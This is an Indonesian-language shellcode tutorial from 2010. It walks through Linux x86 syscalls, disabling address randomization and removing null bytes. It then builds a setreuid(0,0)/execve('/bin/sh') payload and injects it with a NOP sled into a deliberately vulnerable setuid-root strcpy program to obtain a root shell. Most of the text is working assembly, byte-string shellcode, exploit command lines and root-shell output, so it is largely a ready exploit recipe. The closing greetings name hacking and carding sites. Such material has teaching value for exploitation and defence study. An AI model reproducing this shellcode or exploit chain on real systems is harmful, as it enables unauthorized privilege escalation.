How to write shellcode tutorial
Edisi : Pertama
Penulis : gunslinger_ <yudha.gunslinger@gmail.com>
Tanggal : Thu Jul 1 22:10:44 WIT 2010
Konten :
1. Pendahuluan
2. System call ~ syscall
3. Disable randomize_va_space first !
4. Penggunaan syscall dalam bahasa C
5. Shellcode dasar
6. Tehnik menghindari "nullbyte"
6.1 Gunakan instruksi xor
6.2 Gunakan register yang lebih rendah
7. Spawning a shell
8. Load your shellcode right now !
9. Special thanks
-- Pendahuluan
sebelumnya saya telah menulis artikel tentang buffer overflow, sekarang saatnya saya menulis artikel cara menulis shellcode .
karena dalam pengexploitasian tidak dapat lepas dari shellcode atau payload...
shellcode adalah sekumpulan instruksi lalu di eksekusi lewat program yang akan di exploitasi.
shellcode juga bisa menyebabkan kerusakan yang serius . menghapus semua file, membuat komputer hang, memutuskan koneksi internet , mengambil akses root dll .
itu semua tergantung kebutuhan si pembuat shellcode .
-- System call ~ syscall
syscall adalah interface diantara protected kernel mode dan user mode .
yang dimaksud protected kernel mode adalah tetap menjaga aplikasi yang dimiliki oleh user (pengguna), tanpa membahayakan sistem operasi .
syscall sangat powerfull dan mengizinkan kita untuk mengakses sistem operasi dengan fungsi tertentu .
seperti : menginput data, mengeluarkan output, keluar dari proses, atau mengeksekusi file binary .
sangat powerfull karena mengizinkan kita langsung mengakses ke kernel .
system call bisa berjalan di linux lewat software interrupt biasa juga disebut "int 0x80" .
dimana "int 0x80" tereksekusi dari program user, CPU akan mengarahkan ke dalam kernel mode dan mengeksekusi fungsi syscall.
linux berbeda dengan unix syscall yang lain , linux menggunakan register untuk performa tertinggi .
karena register berada dalam prosesor bukan dalam memory .
untuk membuat syscall bekerja dengan cara berikut :
1. nomer syscall ditempatkan pada register EAX (al,ah,ax) .
2. argument syscall ditempatkan pada register lain .
3. mengeksekusi int 0x80 (interupsi software)
4. CPU akan mengarahkan ke mode kernel
5. fungsi syscall tereksekusi
syscall bisa ditemukan di /usr/include/asm/unistd_32.h .
berikut sebagai contoh :
gunslinger@localhost:~/$ more /usr/include/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H
/*
* This file contains the system call numbers.
*/
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16
#define __NR_break 17
#define __NR_oldstat 18
#define __NR_lseek 19
#define __NR_getpid 20
#define __NR_mount 21
#define __NR_umount 22
#define __NR_setuid 23
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
--More--(10%)
gunslinger@localhost:~/$
Tips :
untuk lebih lengkap penggunaanya anda bisa menggunakan perintah "man 2" yang berisi linux programmer manual mengenai cara penggunaan syscall .
contoh : man 2 execve
secara default memang kebanyakan tidak ada anda bisa mendownloadnya dan menginstallnya dari http://kernel.org
dengan cara berikut .
gunslinger@localhost:~$ git clone git://git.kernel.org/pub/scm/docs/man-pages/man-pages.git
atau anda bisa melihat secara online di http://www.kernel.org/doc/man-pages/online/pages/man2/syscalls.2.html
disana kita bisa lihat cara penggunaan syscall pada kernel - kernel terbaru pada saat ini lengkap dengan penjelasannya .
-- Disable randomize_va_space first !
ini adalah hal terpenting sebelum memulai, kita harus mematikan randomize_va_space terlebih dahulu .
tujuannya adalah untuk menghindari "segmentation fault" pada shellcode yang akan kita eksekusikan .
jika belum dimatikan maka shellcode kita aka mengalami segmentation fault .
sangat perlu saya ingatkan karena kebanyakan orang lupa mematikan randomize_va_space padahal tidak ada yang salah pada shellcode .
shellcode mengalami segmentation fault, lalu bingung "apa yang salah dalam shellcode tesebut ?" padahal hanya lupa mematikan randomisasi address .
berikut cara mematikannya pada kernel 2.6.8 ke atas, harus dengan root asli tidak bisa dengan sudo :
root@localhost:/home/gunslinger/# cat /proc/sys/kernel/randomize_va_space
2
root@localhost:/home/gunslinger/# echo 0 > /proc/sys/kernel/randomize_va_space
root@localhost:/home/gunslinger/# cat /proc/sys/kernel/randomize_va_space
0
root@localhost:/home/gunslinger/#
-- Penggunaan syscall dalam bahasa C
sebelum kita lanjutkan , kita akan menggunakan syscall dengan bahasa pemrograman tingkat tinggi seperti bahasa C .
sekarang kita membuat contoh program exit dalam bahasa c .
--------------exit.c--------------
main()
{
exit(0);
}
---------------EOF----------------
save dengan nama exit.c dan compile .
perhatian : compile dengan opsi -static untuk menghindari dinamic linking .
gunslinger@localhost:~/$ gcc -static -o exit exit.c
exit.c: In function ‘main’:
exit.c:3: warning: incompatible implicit declaration of built-in function ‘exit’
gunslinger@localhost:~/$
kemudian kita disassemble binary tersebut .
gunslinger@localhost:~/$ gdb exit
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804e6e0 <_exit+0>: mov 0x4(%esp),%ebx
0x0804e6e4 <_exit+4>: mov $0xfc,%eax
0x0804e6e9 <_exit+9>: int $0x80
0x0804e6eb <_exit+11>: mov $0x1,%eax
0x0804e6f0 <_exit+16>: int $0x80
0x0804e6f2 <_exit+18>: hlt
End of assembler dump.
(gdb)
disitu terlihat kita menggunakan 2 syscall . dan syscall exit .
perhatikan berikut dibawah ini :
0x0804e6eb <_exit+11>: mov $0x1,%eax
0x0804e6f0 <_exit+16>: int $0x80
kita mengisi register eax dengan angka 1 .
dan itu syscall exit, lalu kita memanggil software interupt sehingga program kita menjadi exit .
-- Shellcode dasar
ok, sebelumnya kita telah menggunakan syscall exit lewat bahasa c .
sekarang kita gunakan bahasa assembly .
berikut adalah program tersebut .
----------------------------exit.asm----------------------------
global _start
_start:
mov eax,1 ; syscall nomer 1 exit
mov ebx,0 ; argumen 0 diletakan di ebx jadi exit(0)
int 0x80
-------------------------------EOF---------------------------------
lalu compile program tersebut dan jalankan program tersebut .
gunslinger@localhost:~/$ nasm -f elf exit.asm
gunslinger@localhost:~/$ ld -s -o exit exit.o
gunslinger@localhost:~/$ ./exit
gunslinger@localhost:~/$
ok sekarang kita siap untuk mengambil opcode dari program tersebut .
kali ini kita menggunakan objdump untuk mengambil opcode dalam program tersebut .
gunslinger@localhost:~/$ objdump -d exit
exit: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: b8 01 00 00 00 mov $0x1,%eax
8048065: bb 00 00 00 00 mov $0x0,%ebx
804806a: cd 80 int $0x80
gunslinger@localhost:~/$
terlihat bahwa kode assembly di sebelah kanan dan opcode berada ditengah .
sekarang kita ambil opcode tersebut . dan ubah ke bentuk shellcode .
kita bisa gunakan grep, cut, tr, paste, dan sed untuk mempersingkat waktu pengambilan opcode tersebut .
dengan cara berikut :
gunslinger@localhost:~/$ objdump -d ./exit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
gunslinger@localhost:~/$
lalu kita test lewat exitshellcode.c
------------------------------shellcodetest.c----------------------------------
char shellcode[] = "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
------------------------------------EOF-----------------------------------------
compile program dan eksekusi tersebut .
gunslinger@localhost:~/$ cat shellcodetest.c
char shellcode[] = "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
gunslinger@localhost:~/$ gcc -o shellcodetest shellcodetest.c
gunslinger@localhost:~/$ ./shellcodetest
gunslinger@localhost:~/$
program berjalan dan exit . namun apakah itu exit karena shellcode kita ?
kita bisa gunakan fungsi strlen() pada bahasa C untuk membuktikan apakah shellcode kita yang membuat program tadi menjadi exit .
-------------------------------shellcodetest.c---------------------------------
#include <stdio.h> // standar input output library
char shellcode[] = "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
------------------------------------EOF----------------------------------------
compile dan run .
gunslinger@localhost:~/$ gcc -o shellcodetest shellcodetest.c
shellcodetest.c: In function ‘main’:
shellcodetest.c:7: warning: incompatible implicit declaration of built-in function ‘strlen’
gunslinger@localhost:~/$ ./shellcodetest
Length: 2
gunslinger@localhost:~/$
ternyata yang membuat program kita menjadi exit bukan karena shellcode kita .
perhatikan berikut :
-> Length: 2
sebenarnya shellcode kita memiliki, panjang 12 byte .
tetapi karena adanya string "\x00" string kita menjadi terputus .
itu disebut nullbyte atau terminate string, nullbyte dalam bahasa c bisa memutuskan string yang sesudahnya .
seperti halnya teknik hacking menggunakan lfi (local file inclusion) jika anda memberi nullbyte pada suatu variablenya , maka string sesudahnya akan terputus sampai di nullbyte saja .
itu dikarenakan interpreter php menggunakan bahasa c .
selanjutnya kita akan membahas tehnik penghindaran nullbytes .
-- Tehnik menghindari "nullbyte"
sebelumnya kita telah membuat shellcode exit, akan tetapi kita mendapatkan nullbyte sehingga string kita menjadi terputus .
sehingga shellcode kita tidak bisa bekerja dengan baik .
sekarang kita akan membahas cara menghindari nullbyte .
mari kita balik ke assembly program exit sebelumnya .
----------------------------exit.asm-------------------------------
global _start
_start:
mov eax,1 ; syscall nomer 1 exit
mov ebx,0 ; argumen 0 diletakan di ebx jadi exit(0)
int 0x80
-------------------------------EOF---------------------------------
- Gunakan instruksi xor
lalu bagaimana cara menghindarinya ? , pertama kita gunakan instruksi exclusive OR (XOR) pada bahasa assembly .
jika kedua operand tersebut bernilai sama, maka instruksi xor akan menjadikan register tersebut bernilai nol (0).
mov ebx,0 ; register ebx bernilai nol
ganti dengan
xor ebx,ebx ; register ebx juga bernilai nol
- Gunakan register yang lebih rendah
kedua, kita tahu bahwa "mov eax,1" juga menghasilkan nullbyte, lalu bagaimana caranya agar tidak ada nullbyte ? .
kita bisa gunakan register yang lebih rendah dari "eax" (32 bit register) menggunakan register yang lebih rendah "al" (low - 8 bit register)
keduanya sama saja, hanya saja eax lebih tinggi karena register "eax" adalah register 32 bit , lalu "al" adalah register 8 bit rendah .
mov eax,1
ganti dengan
mov al,1
lalu exit.asm kita akan menjadi seperti berikut :
----------------------------exitnew.asm----------------------------
global _start
_start:
mov al,1 ; syscall nomer 1 exit
xor ebx,ebx ; argumen 0 diletakan di ebx jadi exit(0)
int 0x80
-------------------------------EOF---------------------------------
compile dan linking program tersebut .
gunslinger@localhost:~/$ nasm -f elf exitnew.asm
gunslinger@localhost:~/$ ld -s -o exitnew exitnew.o
lalu kita gunakan lagi objdump untuk membuktikan apakah shellcode masih mengandung "nullbyte" atau tidak .
gunslinger@localhost:~/$ objdump -d exitnew
exitnew: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: b0 01 mov $0x1,%al
8048062: 31 db xor %ebx,%ebx
8048064: cd 80 int $0x80
gunslinger@localhost:~/$
kita telah sukses menghindari nullbyte .
sebenarnya ada banyak cara menghindari nullbyte .
tetapi jika anda sering melakukan experiment dan shellcode programming, itu adalah hal yang mudah .
-- Spawning a shell
kebanyakan tujuan pembuat shellcode membuat shellcode adalah untuk menginjeksi file binary bersuid,
dan mendapatkan akses shell "/bin/sh" sesuai dengan id si pemilik file binary bersuid tersebut .
contoh menginjeksi file binary yang vulnerable terhadap serangan buffer overflow, heap overflow, format string, seh dan lain2 .
kali ini kita akan membuat shellcode yang memberikan kita shell .
kita balik lagi ke bahasa pemrograman lebih tinggi, dalam bahasa c cara membuat akses shell dengan setreuid 0,0 lewat syscall dengan cara berikut .
----------------------------shell.c----------------------------
#include <unistd.h> // include dengan daftar syscall
main()
{
setreuid(0,0); // syscall nomer 70 dengan argumen 0,0
execve("/bin/sh",NULL,NULL); // syscall nomer 11 dengan argumen "/bin/sh",null,null
return (0);
}
------------------------------EOF------------------------------
compile program tersebut lalu tes dengan suid root .
lalu eksekusi file binary tersebut .
gunslinger@localhost:~/$ gcc -o shell shell.c
gunslinger@localhost:~/$ sudo chown root:root shell
[sudo] password for gunslinger:
gunslinger@localhost:~/$ sudo chmod 4755 shell
gunslinger@localhost:~/$ ./shell
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# exit
gunslinger@localhost:~/$
shell tersebut memberikan akses root karena sebelumnya kita telah mendrop akses root ke dalam file tersebut dengan setreuid 0,0 .
metode dalam penginjeksian shellcode fungsi setreuid adalah mendrop akses userid si user file binary tersebut .
maka fungsi syscall setreuid adalah hal yang juga sangat penting dalam shellcode .
ok, sekarang saatnya kita membuat shellcode yang memberikan kita akses "/bin/sh" dengan setreuid juga .
sekarang kita harus membuatnya dari bahasa tingkat rendah yaitu assembly .
pertama kita bisa gunakan python, untuk mengconversi string "/bin/sh" ke bentuk hexadesimal.
lalu kita ubah ke bentuk little endian karena kita tahu bahwa struktur stack adalah lifo (last in first out) .
gunslinger@localhost:~/$ python
Python 2.6.2 (release26-maint, Apr 19 2009, 01:56:41)
[GCC 4.3.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> print "hs//".encode("hex")
68732f2f
>>> print "nib/".encode("hex")
6e69622f
>>> quit()
gunslinger@localhost:~/$
kita telah mendapatkan string "/bin/sh" dalam hexadesimal dan dalam bentuk little endian .
68732f2f
6e69622f
kita tambahkan "0x" agar assembly mengerti itu adalah bilangan hexadesimal .
0x68732f2f
0x6e69622f
kita telah mendapatkan string "/bin/sh" dalam intel assembly .
saatnya ke program utama .
----------------------------shell.asm----------------------------
global _start
_start:
xor eax,eax ; pertama kita membersihkan register terlebih dahulu
xor ebx,ebx
xor ecx,ecx
xor edx,edx
;setreuid (0,0)
mov al,70 ; syscall nomer 70 ~ setreuid
xor ebx,ebx ; argumen pertama diletakan pada register ebx, instruksi xor pada kedua operand yang sama, maka menghasilkan nol (NULL) ~ seteruid(0,
xor ecx,ecx ; argumen kedua diletakan pada register ecx, instruksi xor pada kedua operand yang sama, maka menghasilkan nol (NULL) ~ setreuid(0,0)
int 0x80 ; panggil interupsi software, kerjakan !
; execve ("/bin//sh",NULL,NULL)
mov al,11 ; syscall nomer 11 ~ execve
push ebx ; dorong register ebx kedalam stack ~ execve(
push 0x68732f2f ; dorong string "sh//" kedalam stack
push 0x6e69622f ; dorong string "nib/" kedalam stack
mov ebx,esp ; copykan isi stack pointer ke register ebx, sekarang isi register ebx adalah "/bin//sh" ~ execve("/bin//sh",
xor ecx,ecx ; argumen kedua diletakan pada register ecx, instruksi xor pada kedua operand yang sama, maka menghasilkan nol (NULL) ~ execve("/bin//sh",NULL,
xor ecx,ecx ; argumen kedua diletakan pada register edx, instruksi xor pada kedua operand yang sama, maka menghasilkan nol (NULL) ~ execve("/bin//sh",NULL,NULL)
push ebx ; dorong register ebx kedalam stack ~ execve("/bin//sh",NULL,NULL)
int 0x80 ; panggil interupsi software, kerjakan !
--------------------------------EOF----------------------------------
compile dan linking program tersebut dengan root.
setelah itu beri suid root ke program tersebut lalu jalankan dengan user biasa .
root@localhost:/home/gunslinger/# nasm -f elf shell.asm
root@localhost:/home/gunslinger/# ld -s -o shell shell.o
root@localhost:/home/gunslinger/# chown root:root shell
root@localhost:/home/gunslinger/# chmod 4755 shell
root@localhost:/home/gunslinger/# exit
gunslinger@localhost:~/$ ./shell
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# exit
gunslinger@localhost:~/$
program berjalan dengan baik, sekarang saatnya kita mengambil opcode file binary tersebut dengan objdump .
gunslinger@localhost:~/$ objdump -d shell
shell: file format elf32-i386
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: b0 46 mov $0x46,%al
804806a: 31 db xor %ebx,%ebx
804806c: 31 c9 xor %ecx,%ecx
804806e: cd 80 int $0x80
8048070: b0 0b mov $0xb,%al
8048072: 53 push %ebx
8048073: 68 2f 2f 73 68 push $0x68732f2f
8048078: 68 2f 62 69 6e push $0x6e69622f
804807d: 89 e3 mov %esp,%ebx
804807f: 31 c9 xor %ecx,%ecx
8048081: 31 c9 xor %ecx,%ecx
8048083: 53 push %ebx
8048084: cd 80 int $0x80
gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\xcd\x80"
gunslinger@localhost:~/$
test run dengan shellcodetest.c
-------------------------------shellcodetest.c---------------------------------
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
"\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
------------------------------------EOF----------------------------------------
compile tersebut dengan root.
setelah itu beri suid root ke program tersebut lalu jalankan dengan user biasa .
root@localhost:/home/gunslinger/# vim shellcodetest.c
root@localhost:/home/gunslinger/# cat shellcodetest.c
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
"\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
root@localhost:/home/gunslinger/# gcc -o shellcodetest shellcodetest.c
root@localhost:/home/gunslinger/# chown root:root shellcodetest.c
root@localhost:/home/gunslinger/# chmod 4755 shellcodetest
root@localhost:/home/gunslinger/# exit
gunslinger@localhost:~/$ ./shellcodetest
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# echo GAME is NOT OVER YET
GAME is NOT OVER YET
# exit
gunslinger@localhost:~/$
kita telah sukses membuat shellcode shell menggunakan setreuid(0,0) .
tetapi permainan belum berakhir sampai disini .
-- Load your shellcode right now !
ok, kita sudah berada di puncak akhir game pada tutorial edisi pertama .
sekarang saatnya kita injeksi shellcode kita kedalam aplikasi yang rentan pada serangan buffer overflow .
saya sudah membahas tehnik exploitasi buffer overflow sebelumnya dan kita akan pakai aplikasi bof2.c .
tersedia pada link berikut : http://www.exploit-db.com/papers/14108/
let's start our game...
gunslinger@localhost:~/$ vim bof2.c
gunslinger@localhost:~/$ cat bof2.c
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);
return 0;
}
gunslinger@localhost:~/$ vim getenv.c
gunslinger@localhost:~/$ cat getenv.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
printf("%s terletak pada address %p\n", argv[1], getenv(argv[1]));
return (0);
}
gunslinger@localhost:~/$ gcc -o bof2 -g -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c
gunslinger@localhost:~/$ sudo chown root:root bof2
[sudo] password for gunslinger:
gunslinger@localhost:~/$ sudo chmod 4755 bof2
gunslinger@localhost:~/$ gcc -o getenv getenv.c
gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80"
gunslinger@localhost:~/$ echo -ne "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80" > shellcode.bin
gunslinger@localhost:~/$ cat shellcode.bin
1�1�1�1ҰF1�1�̀�
Sh//shh/bin��1�1�S̀gunslinger@localhost:~/$
gunslinger@localhost:~/$ export PAYLOAD=$(perl -e 'print "\x90" x 200')$(cat shellcode.bin)
gunslinger@localhost:~/$ echo $PAYLOAD
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1�1ҰF1�1�̀�
Sh//shh/bin��1�1�S̀
gunslinger@localhost:~/$ ./getenv PAYLOAD
PAYLOAD terletak pada address 0xbffffe89
gunslinger@localhost:~/$ printf "%x\n" $((0xbffffe89 + 100))
bffffeed
gunslinger@localhost:~/$ echo "converted in little endian shellcode : \xed\xfe\xff\xbf"
converted in little endian shellcode : \xed\xfe\xff\xbf
gunslinger@localhost:~/$ ./bof2 $(perl -e 'print "\xed\xfe\xff\xbf" x 10')
Segmentation fault
gunslinger@localhost:~/$ ./bof2 $(perl -e 'print "\x90" x 2 . "\xed\xfe\xff\xbf" x 10')
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux localhost 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# echo GAMEOVER...
GAMEOVER...
# exit
gunslinger@localhost:~/$
GAMEOVER...
-- Special thanks : devilzc0de crew and jasakom crew and inj3ct0r crew
: www.devilzc0de.org / www.devilzc0de.com , www.inj3ct0r.com / 0xr00t.com
: www.jasakom.com , www.indonesianhacker.org, www.yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org
: And all exploit database...
